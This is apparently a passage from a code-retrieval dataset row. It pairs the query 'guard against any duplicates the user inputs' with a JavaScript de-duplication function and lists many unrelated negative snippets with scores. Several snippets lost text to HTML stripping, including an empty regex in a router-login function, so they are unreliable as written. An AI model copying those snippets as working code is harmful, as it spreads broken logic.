const dev = stack.dev;\n const action = dev.powerAction;\n delete dev.powerAction;\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\n if (status != 200) return;\n if ((responses['AMT_BootSettingData'] == null) || (responses['AMT_BootSettingData'].response == null)) return;\n var bootSettingData = responses['AMT_BootSettingData'].response;\n\n // Clean up parameters\n bootSettingData['ConfigurationDataReset'] = false;\n delete bootSettingData['WinREBootEnabled'];\n delete bootSettingData['UEFILocalPBABootEnabled'];\n delete bootSettingData['UEFIHTTPSBootEnabled'];\n delete bootSettingData['SecureBootControlEnabled'];\n delete bootSettingData['BootguardStatus'];\n delete bootSettingData['OptionsCleared'];\n delete bootSettingData['BIOSLastStatus'];\n delete bootSettingData['UefiBootParametersArray'];\n delete bootSettingData['RPEEnabled'];\n delete bootSettingData['RSEPassword']\n\n // Ready boot parameters\n bootSettingData['BIOSSetup'] = ((action >= 11) && (action <= 14));\n bootSettingData['UseSOL'] = ((action >= 13) && (action <= 14));\n if ((action == 11) || (action == 13)) { dev.powerAction = 2; } // Power on\n if ((action == 12) || (action == 14)) { dev.powerAction = 10; } // Reset\n\n // Set boot parameters\n dev.amtstack.Put('AMT_BootSettingData', bootSettingData, function (stack, name, response, status, tag) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Set boot config\n dev.amtstack.SetBootConfigRole(1, function (stack, name, response, status, tag) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Set boot order\n dev.amtstack.CIM_BootConfigSetting_ChangeBootOrder(null, function (stack, name, response, status) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Perform power action\n try { dev.amtstack.RequestPowerStateChange(dev.powerAction, performPowerActionResponse); } catch (ex) { }\n }, 0, 1);\n }, 0, 1);\n }, 0, 1);\n }","function SendPortSync() {\n}","function webRtcSendOffer(clientName, offerValue) {\r\n\tif (typeof thisPeersName != \"string\") {\r\n\t\tconsole.log(\"Please set peer name before calling this function\");\r\n\t\treturn;\r\n\t}\r\n\t\r\n var xhttp = new XMLHttpRequest();\r\n\txhttp.onreadystatechange = function() {\r\n\t\tif (xhttp.readyState == 4 && xhttp.status == 200) {\r\n \r\n //see if there is a client asking to connect\r\n if (typeof xhttp.responseText == \"string\" && xhttp.responseText.length > 0) {\r\n ;\r\n }\r\n \r\n\t\t}\r\n\t};\r\n var full = location.protocol+'//'+location.hostname+(location.port ? ':'+location.port: ''); \r\n \r\n\t//xhttp.open(\"GET\", \"http://\" + window.location.host + \"/ioInterface?command=getOtsValues\", true);\r\n var message = {messageType: 'offer', offer: offerValue};\r\n var url = full + \"/webrtc?command=writeMessage&clientName=\" + thisPeersName + \"&destinationName=\" + clientName + \"&message=\" + btoa(JSON.stringify(message));\r\n \r\n //console.log(url.length, url);\r\n xhttp.open(\"GET\", url, true);\r\n\txhttp.send();\t \r\n}","sendMakeBetShan2(_chipbet) {\n cc.NGWlog(\"Vua dat cuoc =\" + _chipbet);\n var data = {\n evt: \"bm\",\n M: _chipbet\n };\n this.sendDataGame(JSON.stringify(data));\n }","function IoTHubGetDeviceInfo(deviceId, iothubname) {\n console.log(\"Getting Device Info : \" + deviceId);\n $('#IoTHub_Busy_Indicator').css('display', 'flex');\n $.ajax({\n type: \"GET\",\n url: '/home/IoTHubGetDeviceInfo',\n data: { deviceId: deviceId },\n success: function (response) {\n $('#deviceConnectionState').html(response.connectionState);\n\n if (response.connectionState == \"Disconnected\") {\n $('#deviceConnectionState').css(\"color\", 'red');\n }\n else {\n $('#deviceConnectionState').css(\"color\", 'blue');\n }\n $('#deviceModelId').html(response.deviceModelId);\n $('#deviceConnectionString').html(\"HostName=\" + iothubname + \";DeviceId=\" + response.deviceId + \";SharedAccessKey=\" + response.symmetricKey);\n $('#deviceKey').html(response.symmetricKey);\n\n DisableButton($('#btnDeviceTwin'), false);\n\n if (response.deviceModelId != null && response.deviceModelId.length > 0) {\n DisableButton($('#btnDeviceModelIdCopy'), false);\n }\n else\n {\n DisableButton($('#btnDeviceModelIdCopy'), true);\n }\n\n if (response.symmetricKey.length > 0) {\n DisableButton($('#btnDeviceConnectionStringCopy'), false);\n DisableButton($('#btnDeviceKeyCopy'), false);\n }\n else {\n DisableButton($('#btnDeviceConnectionStringCopy'), true);\n DisableButton($('#btnDeviceKeyCopy'), true);\n }\n\n //$('#btnDeviceModelIdCopy').prop('disabled', true);\n return true;\n },\n error: function (jqXHR) {\n // clear all fields\n IoTHubModalClear();\n alert(\" Status: \" + jqXHR.status + \" \" + jqXHR.responseText);\n return false;\n }\n });\n $('#IoTHub_Busy_Indicator').hide();\n\n}","function callAPI(req,res,handleResponse){\n var host = 'www.blueworkslive.com';\n var username = 'xxxx';\n var password = 'yyyy';\n var path = '/api/Auth';\n var headers = {\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\n };\n var options = {\n host: host,\n path: path,\n method: 'GET',\n headers: headers\n };\n var bwlResData = {};\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\n var bwlRequest = https.request(options, function(bwlResponse) {\n\tconsole.log(\"BwlApiCall: Response status=\"+bwlResponse.statusCode);\n\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\n\tbwlResData.headers = bwlResponse.headers;\n\tvar bufferData = [];\n\tbwlResponse.on('data', function(data) {\n\t bufferData.push(data);\n console.info('BwlApiCall: Response data received');\n\t});\n\tbwlResponse.on('end', function() {\n console.info('BwlApiCall: completed, calling callback');\n\t bwlResData.data = Buffer.concat(bufferData);\n\t handleResponse(req, res, bwlResData);\n });\n });\n/* if ((reqData.method == \"post\" || reqData.method == \"put\") && reqData.senddata) {\n console.log(reqData.method+' sending data: '+reqData.senddata);\n bwlRequest.write(reqData.senddata);\n } */\n bwlRequest.end();\n bwlRequest.on('error', function(e){\n console.error('BwlApiCall: REQUEST-ERROR '+e);\n });\n}","function sendConvertRAIDType(cardchar) {\n\t//collect data from web UI\n\tvar NewRAIDType = document.getElementById(\"RAIDType\"+cardchar).selectedIndex - 1;\n\tvar GUID = $(\"#GUID\"+cardchar).html();\n\n\t//store the command which is in progress\n\t$(\"#cardProgCmd\"+cardchar).html(JS_CONVERT_RAID_TYPE_REQ);\n\n\t//console.log(\"Convert GUID = \"+GUID);\n\n\t//disable \"Convert\" button\n\t$(\"#confirmConvertRAIDType\"+cardchar).prop(\"disabled\", true);\n\n\t//send command\n\tConvertRAIDType(GUID, NewRAIDType);\n}","async function blxSendBinblock (data, fname, syncflag, mem_addr) {\n let txlen_total = data.length\n let tx_pos = 0\n const time0 = Date.now() - 1000\n let tw_old = time0\n let tw_new // Working Time fuer Fortschritt\n let sblk_len = (max_ble_blocklen - 2) & 0xFFFC // Initial MAX Size Block, but Multi of 4\n\n if (data.length > 1000) { // Mehr als 1k Daten UND File: -> FAST\n\n if(fname === undefined){\n // Might bee too fast for Download to CPU Memory, set to slow with .cf 15 or greater!!!\n if(con_memfast_speed < 15)\n terminalPrint(\"*** WARNING: Memory Connection Speed: \" + con_memfast_speed ) \n const os = con_fast_speed // temporaer mit MEMORY Speed\n con_fast_speed = con_memfast_speed\n await blxConnectionFast()\n con_fast_speed = os\n }else{\n await blxConnectionFast()\n } \n if (blxErrMsg) return\n // console.log(\"Fast OK\");\n }\n if(fname!== undefined) await blxDeviceCmd('P' + (syncflag ? '!' : '') + ':' + fname, 5000) // P wie PUT\n else {\n {\n let wadr = mem_addr\n let wsize = txlen_total\n const sector_size = 4096 // Fix fuer nrF52\n // Sektoren in einzeln Loeschen, da langsam\n while(wsize>0){\n await blxDeviceCmd('K:' + wadr + ' ' + 1 , 5000) \n if (blxErrMsg) return\n wadr+=sector_size\n wsize-=sector_size\n }\n }\n await blxDeviceCmd('I:' + mem_addr, 5000) // I wie Internal\n }\n if (blxErrMsg) return\n\n try {\n for (;;) {\n let blen = txlen_total // Blocklen\n if (blen > sblk_len ) blen = sblk_len\n const bdata = new Uint8Array(blen + 2)\n bdata[0] = blen\n bdata[1] = BB_BLE_BINBLK_IN // Binary Data\n // Aufgabe: data[tx_pos] an bdata[2] kopieren\n const datablock = data.subarray(tx_pos, tx_pos + blen)\n bdata.set(datablock, 2) // Copies datablock into bdata\n\n await NUS_data_chara_write.writeValue(bdata.buffer)\n\n // console.log(bdata);\n txlen_total -= blen\n tx_pos += blen\n if (!txlen_total) {\n const dtime = Date.now() - time0\n terminalPrint('Transfer OK (' + dtime / 1000 + ' sec, ' + ((data.length / dtime * 1000).toFixed(0)) + ' Bytes/sec)')\n break\n }\n tw_new = Date.now()\n if (tw_new - tw_old > 1000) { // Alle Sekunde Fortschritt\n tw_old = tw_new\n terminalPrint(((tx_pos * 100) / data.length).toFixed(0) + '% / ' + tx_pos + ' Bytes')\n }\n }\n } catch (error) {\n if (full_connected_flag === false) blxErrMsg = 'ERROR: Connection lost'\n else blxErrMsg = 'ERROR: Transfer ' + error\n return\n }\n\n await blxDeviceCmd('L', 5000) // Close\n\n if (blxErrMsg) return\n if (data.length > 1000) { // Mehr als 1k Daten: -> Wieder SLOW\n await blxConnectionSlow()\n }\n }","function processData(buffer) {\n console.log(\"Status: \"+status);\n console.log('Read message: \"' + buffer + '\"');\n if (buffer.toString() == 'Ok!' && status == 0 && type !=1) {\n //Emepzamos el envio\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += data[hexInd];\n pxInd += 4;\n hexInd++;\n }\n\n if (pxInd >= w * h) status++; \n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"Buffer to send1: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 0 && type == 1) {\n //Emepzamos el envio pantalla a color\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += data[hexInd];\n pxInd += 2; //cada pixel son 2 bits, por eso para cada hex tenemos avanzar 2 pixeles.\n hexInd++;\n }\n if (pxInd >= w * h) status++;\n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3);\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"Buffer to send info: dSizeCalc\"+dSizeCalc+\" buffIndCalc: \"+buffIndCalc+\" pxInd: \"+pxInd);\n console.log(\"Buffer to send2: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 1 && type != 1) {\n //Hacemos el Show\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: S\");\n });\n status = 4;\n console.log(\"Desconectamos....\");\n clearTimeout(timeout);\n screenDisconect(false);\n return response.send({\n message: 'Success at updating the device: ' + macaddress,\n });\n } else if (buffer.toString() == 'Ok!' && status == 1 && type == 1) {\n //Hacemos el Next\n\n pxInd =0;\n hexInd = 0;\n\n epdCharacteristic.write(Buffer.from('N', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: N\"); \n });\n status = 2;\n } else if (buffer.toString() == 'Ok!' && status == 2 && type == 1) {\n //Hacemos el Load del Next\n //let dataNext = req.body.dataNext;\n //Emepzamos el envio\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += dataNext[hexInd];\n pxInd += 4; //en caso de rojo, cada pixel es un bit.\n hexInd++;\n }\n if (pxInd >= w * h) status = 3;\n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"N_Buffer to send3: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 3 && type == 1) {\n console.log(\"Finalizamos...\");\n //Hacemos el Show\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: S\");\n });\n status = 4;\n console.log(\"Desconectamos....\");\n clearTimeout(timeout);\n screenDisconect(false);\n return response.send({\n message: 'Success at updating the device: ' + macaddress,\n });\n }\n trytoread();\n }","function setDeviceEnabledBand() {\n\tconsole.log('info: setDeviceEnabledBand() is called.');\n\n\t// Get csrf_token\n\tvar api = '/';\n\tvar url = 'http://' + document.apiform.address.value + api;\n\tupdateMessage(url, '', 'Connecting...', '');\n\n\tvar xhr = new XMLHttpRequest();\n\txhr.open('GET', url, false);\n\txhr.withCredentials = true;\n\txhr.onerror = function(e) {\n\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\n\t};\n\txhr.send(null);\n\n\tif (xhr.status === 200) {\n\t\tvar str = xhr.responseText;\n\t\tvar csrf_token = str.match(//i);\n\t\tcsrf_token = csrf_token[1];\n\t\tif (csrf_token != null) {\n\t\t\tupdateMessage(url, xhr.statusText, 'Success to get a token: ' + csrf_token, '');\n\t\t} else {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Fail to get the token.', '');\n\t\t\treturn -1;\n\t\t}\n\n\t\t// Login\n\t\tapi = '/api/user/login';\n\t\turl = 'http://' + document.apiform.address.value + api;\n\t\tupdateMessage(url, '', 'Connecting...', '');\n\n\t\txhr.open('POST', url, false);\n\t\txhr.onerror = function(e) {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\n\t\t};\n\n\t\t// Generate credential\n\t\tvar username = 'admin';\n\t\tvar password = document.apiform.password.value;\n\t\tvar password_hash = encryptSHA256(username + encryptSHA256(password) + csrf_token);\n\n\t\tvar login_params = '';\n\t\tlogin_params += '\\r';\n\t\tlogin_params += '\\r';\n\t\tlogin_params += '' + username + ' \\r';\n\t\tlogin_params += '' + password_hash + ' \\r';\n\t\tlogin_params += '4 \\r';\n\t\tlogin_params += ' \\r';\n\t\tconsole.log(login_params);\n\n\t\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\n\t\txhr.setRequestHeader('__RequestVerificationToken', csrf_token);\n\t\txhr.send(login_params);\n\n\t\t// Login Result\n\t\tif (xhr.status === 200) {\n\t\t\t\n\t\t\tvar error_code = xhr.responseText.match(/
' + r.name + '
' +\\n '' + r.location.address + '
' +\\n 'Average cost for two: $' +\\n r.average_cost_for_two + '
' +\\n '' +\\n '' + 'Menu Url';\\n var address = r.location.address;\\n\\n var newMarker = {marker:marker, content:contentString};\\n\\n // Create an onclick event to open an infowindow at each marker.\\n marker.addListener('click', function() {\\n hideAnimation();\\n marker.setAnimation(google.maps.Animation.BOUNCE);\\n populateInfoWindow(this, largeInfowindow, contentString);\\n });\\n return newMarker;\\n //}\\n } // end of createMarker\",\n \"function Player1Name(value)//Sets the name of player 1 and adds to the list of potential winners if not already there.\\n{\\n model.player1.name=value;\\n var index = model.winners.find(winners => winners.name == value)\\n if(!index){model.winners.push({name:`${model.player1.name}`,wins:0})}\\n}\",\n \"function onLocationFound(location){\\n\\n\\t// Update the model with the coordinate pair for use later.\\n\\tapp.position = location;\\n\\n\\t// If successful, find all nearby brunch locations at those coordinates.\\n findNearbyBrunchLocations(location.coords);\\n\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.55945784","0.55155414","0.5372061","0.53548574","0.52936345","0.5292482","0.52400655","0.52102","0.5159438","0.51353896","0.51154304","0.5113312","0.51111436","0.5110201","0.5109417","0.5098488","0.50911343","0.50832295","0.5079928","0.5076207","0.5045602","0.5038288","0.5030733","0.50182706","0.5015086","0.50018305","0.4996816","0.49821067","0.49794316","0.49780127","0.49687204","0.49633983","0.49513766","0.49499455","0.49455753","0.49244434","0.49115518","0.48922718","0.48646355","0.48593962","0.48577052","0.4855432","0.4838728","0.4838031","0.4825128","0.48249486","0.48244342","0.48162448","0.48043308","0.48003414","0.47997946","0.4796625","0.47905025","0.47849536","0.47799447","0.47776455","0.4755562","0.47546393","0.47448108","0.4740631","0.4735003","0.47313973","0.47295067","0.47244897","0.47141165","0.47077686","0.47056884","0.47052172","0.47045252","0.47029313","0.47026756","0.46973765","0.46937048","0.46884277","0.4683101","0.46794215","0.46791098","0.46743","0.46722734","0.4670856","0.46664122","0.46619037","0.46610492","0.46557167","0.46547738","0.46544635","0.46508488","0.46502376","0.46471956","0.46467066","0.464512","0.4644591","0.46438715","0.46402332","0.46384144","0.46374774","0.46294704","0.4627889","0.46241114","0.46236378"],"string":"[\n \"0.55945784\",\n \"0.55155414\",\n \"0.5372061\",\n \"0.53548574\",\n \"0.52936345\",\n \"0.5292482\",\n \"0.52400655\",\n \"0.52102\",\n \"0.5159438\",\n \"0.51353896\",\n \"0.51154304\",\n \"0.5113312\",\n \"0.51111436\",\n \"0.5110201\",\n \"0.5109417\",\n \"0.5098488\",\n \"0.50911343\",\n \"0.50832295\",\n \"0.5079928\",\n \"0.5076207\",\n \"0.5045602\",\n \"0.5038288\",\n \"0.5030733\",\n \"0.50182706\",\n \"0.5015086\",\n \"0.50018305\",\n \"0.4996816\",\n \"0.49821067\",\n \"0.49794316\",\n \"0.49780127\",\n \"0.49687204\",\n \"0.49633983\",\n \"0.49513766\",\n \"0.49499455\",\n \"0.49455753\",\n \"0.49244434\",\n \"0.49115518\",\n \"0.48922718\",\n \"0.48646355\",\n \"0.48593962\",\n \"0.48577052\",\n \"0.4855432\",\n \"0.4838728\",\n \"0.4838031\",\n \"0.4825128\",\n \"0.48249486\",\n \"0.48244342\",\n \"0.48162448\",\n \"0.48043308\",\n \"0.48003414\",\n \"0.47997946\",\n \"0.4796625\",\n \"0.47905025\",\n \"0.47849536\",\n \"0.47799447\",\n \"0.47776455\",\n \"0.4755562\",\n \"0.47546393\",\n \"0.47448108\",\n \"0.4740631\",\n \"0.4735003\",\n \"0.47313973\",\n \"0.47295067\",\n \"0.47244897\",\n \"0.47141165\",\n \"0.47077686\",\n \"0.47056884\",\n \"0.47052172\",\n \"0.47045252\",\n \"0.47029313\",\n \"0.47026756\",\n \"0.46973765\",\n \"0.46937048\",\n \"0.46884277\",\n \"0.4683101\",\n \"0.46794215\",\n \"0.46791098\",\n \"0.46743\",\n \"0.46722734\",\n \"0.4670856\",\n \"0.46664122\",\n \"0.46619037\",\n \"0.46610492\",\n \"0.46557167\",\n \"0.46547738\",\n \"0.46544635\",\n \"0.46508488\",\n \"0.46502376\",\n \"0.46471956\",\n \"0.46467066\",\n \"0.464512\",\n \"0.4644591\",\n \"0.46438715\",\n \"0.46402332\",\n \"0.46384144\",\n \"0.46374774\",\n \"0.46294704\",\n \"0.4627889\",\n \"0.46241114\",\n \"0.46236378\"\n]"},"document_score":{"kind":"string","value":"0.7198466"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":11,"cells":{"query":{"kind":"string","value":"this will guard against any duplicates the user inputs"},"document":{"kind":"string","value":"function noDuplicatesinUserGuesses(userGuessesArr) {\n\tvar checkDuplicatesArr = [];\n\tfor (var i = 0; i < userGuessesArr.length; i++) {\n\t\tif (checkDuplicatesArr.indexOf(userGuessesArr[i]) === -1) {\n\t\t\tcheckDuplicatesArr.push(userGuessesArr[i]);\n\t\t}\t\n\t}\n\treturn checkDuplicatesArr;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function checkIsDuplicatingInputs(numOfInputs) {\n const InputsArr = [];\n for (let i = 1; i <= numOfInputs; i++) {\n InputsArr.push(document.getElementById(`serial-${i}`).value + '-' + document.getElementById(`typeName-${i}`).value);\n }\n return InputsArr.length === new Set(InputsArr).size;\n }","function uniqueInput(input){\n\t\tvar temp = 0;\n\t\tfor(m=0; m < guessedLetters.length; m++) {\n\t\t\tif (guessedLetters[m] === input){\n\t\t\t\ttemp++;\n\t\t\t\t// log(\"Temp count: \" + temp);\n\t\t\t}\n\t\t}\n\t\tif (temp === 0){\n\t\t\tuniqueLetter = true;\n\t\t\t// alert(\"First Time\");\n\t\t\treturn uniqueLetter;\n\t\t\tguessedLetters.push(input);\n\t\t}\n\t\telse if(temp !== 0){\n\t\t\tuniqueLetter = false;\n\t\t\t// alert(\"Please Pick a new letter that you have not used before.\");\n\t\t\treturn uniqueLetter;\n\t\t}\n\t}","function duplicateChecker(input) {\r\n let duplicateSwitch = false;\r\n if (ul.children.length > 0) {\r\n for (let i = 0; i < ul.children.length; i++) {\r\n if (input.value === ul.children[i].children[0].textContent) {\r\n duplicateSwitch = true;\r\n break;\r\n };\r\n }\r\n }\r\n return duplicateSwitch;\r\n }","function checkUserDuplicates(value) {\n if (!userInputsArray.includes(value)) {\n userInputsArray.push(value);\n\n return true;\n }\n\n return false;\n}","function inputIsValid(){\n\tconsole.log(ul.children.length);\n\tif (input.value.length > 0)\n\t{\n\t\tfor (i = 0, len = ul.children.length; i < len; i++) {\t\t\t\n\t\t\t//\" + newNum + \"Is a duplicate number. Fix it
\";\n\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t\n\t\t\t\tdocument.getElementById(\"message\").innerHTML = \"Hey, you forgot to enter a number. You might do that before I just decide to keep your money and tell you to go away
\";\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t}\n\t}","function isDuplicate(name,phone,twitter){\n\tvar isduplicate=false; \n\t\tfor(var i=0;iname attributes:• ' +\n `${problemFields.join('
• ')}`,\n learnMore: 'Learn more: The input element name attribute',\n title: 'Fields in the same form must have unique
name values.',\n type: 'error',\n };\n items.push(item);\n }\n}","function validateInput(){\n\tvar api_key_input = $('#api-key-input');\n\tvar search_input = $('#summoner-name-input');\n \tif (!isEmpty(search_input) && !isEmpty(api_key_input)){\n\t\tvar selected = getSelectedOption();\n\t\t//alert(empty_checker + ' | ' + selected);\n\t\tif (selected == 'summary'){\n\t\t\tsearchSummonerStatsSummary();\n\t\t} else {\n\t\t\tsearchSummonerStatsRanked();\n\t\t}\n\t}\n}","function areThereDuplicates() {\n if (arguments.length < 2) return false;\n const counter = {};\n for (let i = 0; i < arguments.length; i++) {\n if (counter[arguments[i]]) {\n return true;\n } else {\n counter[arguments[i]] = 1;\n }\n }\n return false;\n}","function userInput(){ \n everythingOk = false; \n while(everythingOk === false){\n // answer = inputLength(); \n upCaseRslt = upCase();\n lcase = lowCase(); \n numAnsr = numOpt();\n symbolAnswer = simbl(); \n if(upCaseRslt === false && lcase === false && numAnsr === false && symbolAnswer === false){\n alert(\"at least one option must be checked in order to create password\"); \n }else{ \n everythingOk = true; \n } \n } \n }","function oneOfEach(sentence) {\n let unique = [];\n sentence = sentence.split('');\n for(let i = 0; i < sentence.length; i++) {\n if(!unique.includes(sentence[i])) {\n unique.push(sentence[i]);\n }\n }\n let newSentence = unique.join('');\n return $('At least one activity must be selected
\";\n $('.activities label input').each((index, element) => {\n activity.push(element.checked);\n })\n if (activity.indexOf(true) === -1 && $('.activityWarning').length === 0){\n $('.activities').after(activityError);\n }\n if (activity.indexOf(true) !== -1 && $('.activityWarning').length > 0){\n $('.activityWarning').remove();\n }\n}","function checkInput(name,key)\n{\n if (name.match(/^\\s*$/)) //checks that roomane is not empty/contain only whitespace\n {\n window.alert(\"Room Name Can't Be Empty\");\n return false;\n }\n else if (key.match(/^\\s*$/)) //check that room key is not empty/contain only whitespace\n {\n window.alert(\"Room Key Can't Be Empty\");\n return false;\n }\n else\n {\n return true;\n }\n}","function playersGuessSubmission() {\n playersGuess = $(\"#guessInput\").val();\n \n $(\"#yourGuess\").text(\"Your guess was \" + playersGuess + \".\");\n \n \t$(\"#guessInput\").val(\"\").focus();\n if (checkGuess()==false){\n $(\"#compare\").text(lowerOrHigher());\n if (guessHistory.indexOf(playersGuess)!== -1){\n \t\t$(\"#yourGuess\").append(\" You've tried that before!\"); \t\t \n \t\t}\n \t}\n \tguessHistory.push(playersGuess);\n \t\n}","function uniqueValues(value) {\n if (arr1.includes(value) && arr2.includes(value)) {\n console.log(\"dupe\") \n } else {\n return value;\n }\n }","validateAnItem(item) {\n let errors = [];\n if (_.find(this.state.items, {sequenceName: item.sequenceName})) {\n errors.push(\"There's already a sequence with this name\");\n }\n if (_.find(this.state.items, {sequence: item.sequence})) {\n errors.push(\"There's already another entry for this sequence\");\n }\n if (item.sequenceName === \"\") {\n errors.push(\"Name is required\");\n }\n if (item.sequenceDescription === \"\") {\n errors.push(\"Description is required\");\n }\n if (item.sequence === \"\") {\n errors.push(\"Sequence is required\");\n } \n // We only need the first occurance of a non-allowed letter, so .search makes sense here\n let nonDNA = item[\"sequence\"].search(/[^ATCG]/g);\n if (nonDNA !== -1) {\n errors.push(`Non-DNA character found at position ${nonDNA}`);\n }\n return errors;\n }","function duplicateInputFieldMessage(fieldName) {\n return \"There can be only one input field named \\\"\".concat(fieldName, \"\\\".\");\n}","checkDupe() {\n let occurrences = this.props.occurrences;\n let habit = this.state.currentHabit;\n let time = JSON.parse(JSON.stringify(this.state.habitTime));\n let quantity = this.state.quantity;\n let found = false;\n\n occurrences.forEach(item => {\n if (item.timestamp.slice(0, 10) === time.slice(0, 10)) {\n found = true;\n }\n });\n\n if (found) {\n alert('Please make any updates to existing logs by updating your table');\n } else {\n this.props.logHabit(habit, time, quantity);\n }\n }","function checkIndivDupe() {\n var firstInstance = true;\n var dupeCount = 0;\n \n var validUserRows = validUserSheet.getLastRow() + 1;\n for (var row = 1; row < validUserRows; row++) {\n if (validUserSheet.getRange(row, 6).getValue() == userEmail) {\n if (firstInstance) {\n isIndivDupe = true;\n //get original batch ID\n origBatchId = validUserSheet.getRange(row, 2).getValue();\n origUID = validUserSheet.getRange(row, 3).getValue();\n origUserFirst = validUserSheet.getRange(row, 4).getValue();\n origUserLast = validUserSheet.getRange(row, 5).getValue();\n origUserEmail = validUserSheet.getRange(row, 6).getValue();\n origUserOrg = validUserSheet.getRange(row, 7).getValue();\n firstInstance = false;\n }\n //increment duplicate count\n dupeCount++;\n }\n }\n \n Logger.log('This a duplicate 1: ' + isIndivDupe);\n Logger.log('The original Batch ID is: ' + origBatchId);\n \n if (isIndivDupe) {\n //get info about original submission using original batch ID\n \n var logSheetRows = logSheet.getLastRow() + 1;\n for (var logRow = 1; logRow < logSheetRows; logRow++) {\n if (logSheet.getRange(logRow, 3).getValue() == origBatchId) {\n origRespFirst = logSheet.getRange(logRow, 4).getValue();\n origRespLast = logSheet.getRange(logRow, 5).getValue();\n origRespName = origRespFirst + ' ' + origRespLast;\n origRespEmail = logSheet.getRange(logRow, 6).getValue();\n origTime = logSheet.getRange(logRow, 1).getValue();\n origTime = Utilities.formatDate(origTime, ss.getSpreadsheetTimeZone(), \"M/d/yy 'at' h:mm a\");\n }\n }\n \n }\n \n }","function checkDuplicates(args) {\n const check = {}\n\n for (let val of args) {\n check[val] = (check[val] || 0) + 1\n }\n\n for (let key in check) {\n if (check[key] > 1) return true\n }\n\n return false\n}","function isDuplicates (alphabet) {\n let array = [];\n for (let i = 0; i < alphabet.length; i++) {\n if (array.includes (alphabet[i])) {\n return true;\n }\n array.push (alphabet[i]);\n }\n return false;\n }","function chkAns(){\n\tif(usrGss % 1 !== 0){\n\t\t//feedback when your user uses only text chars not number\n\t\t$(\"#newFdbk\").text(\"please input only numbers\");\n\t\treturn true;\n\t}\n\tif(usrGss < 0 || usrGss > 101){\n\t\t//feedback to the user if they use numbers beyond 100 o negative numbers\n\t\t$(\"#newFdbk\").text('Try a number between 0 and 100');\n\t\treturn true;\n\t}\n\tif(gssHsty.length > 0){\n\t\t$.each(gssHsty,function(guess,value){//loop through the entire guess history array to look for any number that has been repated by the user guess\n\t\t\tif(usrGss == value){//compare the equality of each value in the array\n\t\t\t\tgssed = true;//set taht guessed value to true\n\t\t\t}\n\t\t}); \n\t}\n\tif(gssed){//here we evaluate the guessed number previusly found as a repeated number input by the user\n\t\tgssed = false;\n\t\t//if the user repeats any number, they will get this feedback\n\t\t$(\"#newFdbk\").text('You already used this number');\n\t\treturn true;\n\t}\nreturn false;\n}","submitWord(event) {\n event.preventDefault();\n let word = document.getElementById('inputBox').value.toLowerCase();\n document.getElementById('inputBox').value = '';\n if(/^[a-zA-Z]+$/.test(word)) {\n let submittedWords = this.state.submittedWords;\n if 